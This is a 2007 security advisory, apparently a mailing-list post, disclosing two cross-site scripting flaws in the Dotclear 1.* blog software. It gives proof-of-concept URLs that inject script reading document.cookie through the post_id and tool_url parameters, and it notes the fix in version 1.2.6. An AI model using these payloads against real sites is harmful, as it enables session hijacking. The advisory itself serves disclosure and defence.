dotclear-xss.txt

`------=_Part_23606_3482423.1176380209314  
Content-Type: text/plain; charset=ISO-8859-1; format=flowed  
Content-Transfer-Encoding: 7bit  
Content-Disposition: inline  
  
Dotclear 1.* Cross Site Scripting Vulnerability  
  
  
1--two cross site scripting vulnerabilities have been discovered in the  
dotclear1.* allowing a remote attackers to hijack authenticated session  
Workaround:  
$post_id (trackback.php)  
$tool_url(/tools/thememng/index.php)  
are not filtered  
2-Proof of Concepts:  
dotclear/ecrire/trackback.php?post_id="><script>alert(document.cookie  
);</script>  
  
/ecrire/tools.php?tool_url=%22%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E&p=thememng  
  
  
3-Disclosure timeline  
05/04/2007 dotclear team contacted  
10/04/2007 fixed  
  
4-solution:  
upgrade to dotclear 1.2.6  
http://www.dotclear.net/  
  
found by nassim  
http://www.securlabs.com/  
  
------=_Part_23606_3482423.1176380209314  
Content-Type: text/html; charset=ISO-8859-1  
Content-Transfer-Encoding: 7bit  
Content-Disposition: inline  
  
<div>Dotclear 1.*&nbsp; Cross Site Scripting Vulnerability</div>  
<div>&nbsp;</div>  
<div>&nbsp;</div>  
<div>1--two cross site scripting vulnerabilities have been discovered in the dotclear1.*&nbsp; allowing a remote&nbsp; attackers to hijack authenticated session <br>Workaround:<br>$post_id (trackback.php)<br>$tool_url(/tools/thememng/index.php)   
<br>are not filtered </div>  
<div>2-Proof of Concepts:<br>dotclear/ecrire/trackback.php?post_id="><script>alert(document.cookie);</script></div>  
<div><br>/ecrire/tools.php?tool_url=%22%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E&p=thememng </div>  
<div><br>3-Disclosure timeline<br>05/04/2007&nbsp;&nbsp; dotclear team contacted<br>10/04/2007&nbsp; fixed</div>  
<p>4-solution:<br>upgrade to dotclear 1.2.6<br><a onclick="return top.js.OpenExtLink(window,event,this)" href="http://www.dotclear.net/" target="_blank">http://www.dotclear.net/</a></p>  
<p>found by nassim<br><a onclick="return top.js.OpenExtLink(window,event,this)" href="http://www.securlabs.com/" target="_blank">http://www.securlabs.com/</a></p>  
  
------=_Part_23606_3482423.1176380209314--  
  
`